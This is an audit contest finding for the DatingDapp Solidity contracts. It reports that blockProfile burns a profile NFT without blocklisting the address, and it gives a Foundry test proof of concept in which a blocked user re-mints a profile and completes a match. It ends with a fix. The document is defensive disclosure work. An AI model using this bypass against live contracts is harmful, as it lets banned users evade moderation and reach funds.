DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Blocked Users Can Mint New NFTs and regain access to their previous account, making the `SoulboundProfileNFT::blockProfile` feature almost useless

Summary

A blocked user can mint a new NFT and regain access to their previous earnings.

Vulnerability Details

The SoulboundProfileNFT::blockProfile function burns the user's profile but does not add their address to blocklist or prevent them from minting a new one. This allows blocked users to circumvent the blocking mechanism and create profile again.

function blockProfile(address blockAddress) external onlyOwner {
uint256 tokenId = profileToToken[blockAddress];
require(tokenId != 0, "No profile found");
_burn(tokenId);
delete profileToToken[blockAddress];
delete _profiles[tokenId];
emit ProfileBurned(blockAddress, tokenId);
}

Proof of Concept

Consider this scenario

  • There are 2 users -- USER1 and USER2

  • USER1 liked USER2 and paid 1 ether to USER2

  • The protocol realized USER2 is malicious and blocked USER2's profile

  • USER2 tries to like USER1 back but the transaction reverted since they have been blocked.

  • USER2 proved to be malicious and re-minted profile with same address.

  • USER2 then liked USER1 to match them together, and recovers their balances before their profile was blocked.

Code

Here is the code the prove the scenario. Create a new test file LikeRegistryTest.t.sol and add to the test/ directory.

Then run the command below;

forge test --mt test_uselessBlockProfile
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {LikeRegistry} from "../src/LikeRegistry.sol";
import {SoulboundProfileNFT} from "../src/SoulboundProfileNFT.sol";
import {console, Test} from "forge-std/Test.sol";
contract LikeRegistryTest is Test {
SoulboundProfileNFT soulboundNFT;
LikeRegistry likeRegistry;
address user1 = makeAddr("USER1");
address user2 = makeAddr("USER2");
uint256 constant STARTING_BALANCE = 100 ether;
uint256 constant DEPOSIT_AMOUNT = 1 ether;
function setUp() public {
soulboundNFT = new SoulboundProfileNFT();
likeRegistry = new LikeRegistry(address(soulboundNFT));
vm.deal(user1, STARTING_BALANCE);
vm.deal(user2, STARTING_BALANCE);
}
//Modifier to handle minting profile for both users
modifier mintBothUsers() {
vm.prank(user1);
soulboundNFT.mintProfile("Alice", 25, "ipfs://profileImage");
vm.prank(user2);
soulboundNFT.mintProfile("Bob", 29, "ipfs://BobprofileImage");
uint256 user1TokenId = soulboundNFT.profileToToken(user1);
assertEq(user1TokenId, 1, "Token ID for user 1 should be 1");
uint256 user2TokenId = soulboundNFT.profileToToken(user2);
assertEq(user2TokenId, 2, "Token ID for user 2 should be 2");
_;
}
function test_uselessBlockProfile() public mintBothUsers {
//USER 1 liked a user and deposited 1 ether
vm.prank(user1);
likeRegistry.likeUser{value: DEPOSIT_AMOUNT}(user2);
//Owner blockes USER2
soulboundNFT.blockProfile(user2);
vm.startPrank(user2);
//USER2 tries to like USER1 back but the transaction reverted since they have been blocked.
vm.expectRevert("Must have a profile NFT");
likeRegistry.likeUser{value: DEPOSIT_AMOUNT}(user1);
//The malicious USER2 decides to mint profile again since there is no restriction
soulboundNFT.mintProfile("Bob", 29, "ipfs://BobprofileImage");
//And the liked USER1 successfully. And they were successfully matched, recovering the funds left
likeRegistry.likeUser{value: DEPOSIT_AMOUNT}(user1);
vm.stopPrank();
//Check to confirm USER2 was able to continue from where they left off before they were blocked.
assertEq(likeRegistry.matches(user1, 0), user2);
assertEq(likeRegistry.matches(user2, 0), user1);
}
}

Impact

  • Ineffective blocking mechanism. Making it possible to bypass.

  • Potential misuse of the protocol.

Tools Used

  • Manual code review.

  • Foundry (forge).

Recommendations

Maintain a list of blocked addresses in the SoulboundProfileNFT contract and prevent them from minting new profiles:

+ mapping(address => bool) public blockedAddresses;
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
+ require(!blockedAddresses[msg.sender], "Address is blocked");
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
function blockProfile(address blockAddress) external onlyOwner {
uint256 tokenId = profileToToken[blockAddress];
require(tokenId != 0, "No profile found");
_burn(tokenId);
delete profileToToken[blockAddress];
delete _profiles[tokenId];
+ blockedAddresses[blockAddress] = true;
emit ProfileBurned(blockAddress, tokenId);
}
Updates

Appeal created

n0kto Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_blocked_user_can_recreate_a_profil

Likelihood: Low, any blocked users. Impact: High, not really blocked.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.